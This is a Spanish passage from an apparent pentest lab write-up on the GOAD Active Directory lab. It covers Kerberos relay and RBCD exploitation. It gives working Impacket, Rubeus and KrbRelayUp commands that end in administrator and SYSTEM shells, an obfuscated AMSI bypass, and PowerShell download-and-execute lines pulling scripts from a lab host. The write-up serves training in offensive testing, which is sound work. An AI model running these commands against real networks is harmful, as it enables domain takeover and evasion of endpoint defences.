Elastic ha detectado una alerta crítica de malware debido a la ejecución del proceso `KrbRelay.exe` desde PowerShell (`powershell.exe`), asociado al usuario `jon.snow` en el host `winterfell`. Este evento sugiere un posible ataque de relay de Kerberos, una técnica utilizada para obtener acceso privilegiado. La alerta se disparó por la presencia y ejecución del archivo malicioso `KrbRelay.exe` en el escritorio del usuario.
Ahora terminamos con la explotación de RBCD.
Con Impacket:
```bash
impacket-getTGT -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword'
export KRB5CCNAME=krbrelay\$.ccache
impacket-getST -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
export KRB5CCNAME=administrator@CIFS_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k @castelblack.north.sevenkingdoms.local
C:\>whoami
north\administrator
```
O con Rubeus:
```powershell
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -rubeus -Command "hash /password:ComputerPassword"
PowerSharpPack -rubeus -Command "s4u /user:krbrelay$ /rc4:0EDDEDC35EB7B7ECDE0C9F0564E54C83 /impersonateuser:administrator /msdsspn:host/castelblack /ptt"
```
Y al igual que en el writeup realizado por @an0n_r0, lanzamos [SCMUACBypass.exe](https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82) de [Tyranid](https://x.com/tiraniddo) y obtenemos una shell de sistema.
Sin AV o si modificas/ofuscas `KrbRelayUp`, puedes hacerlo todo con los siguientes comandos:
```powershell
.\KrbRelayUp.exe relay -Domain north.sevenkingdoms.local -CreateNewComputerAccount -ComputerName evilhost2$ -ComputerPassword pass@123
.\KrbRelayUp.exe spawn -m rbcd -d north.sevenkingdoms.local -dc winterfell.north.sevenkingdoms.local -cn evilhost2$ -cp pass@123
```
**Con otros métodos**
* KrbRelay también puede usarse para retransmisión a ADCS o para agregar msDS-KeyCredentialLink y explotar con ShadowCredentials. Todo lo que necesitas saber está en [esta página](https://github.com/Dec0ne/KrbRelayUp), se deja como ejercicio para el lector.
* Comienza en Braavos MSSQL e intenta obtener un shell como administrador :)
## Enlaces útiles
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack
- https://jlajara.gitlab.io/Potatoes_Windows_Privesc
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly
- https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
- https://github.com/Dec0ne/KrbRelayUp
- https://github.com/cube0x0/KrbRelay
La próxima vez haremos una revisión sobre técnicas de movimiento lateral dentro de un directorio activo: (GOAD pwning parte 9) :)
Sign in with Wallet
Connect another wallet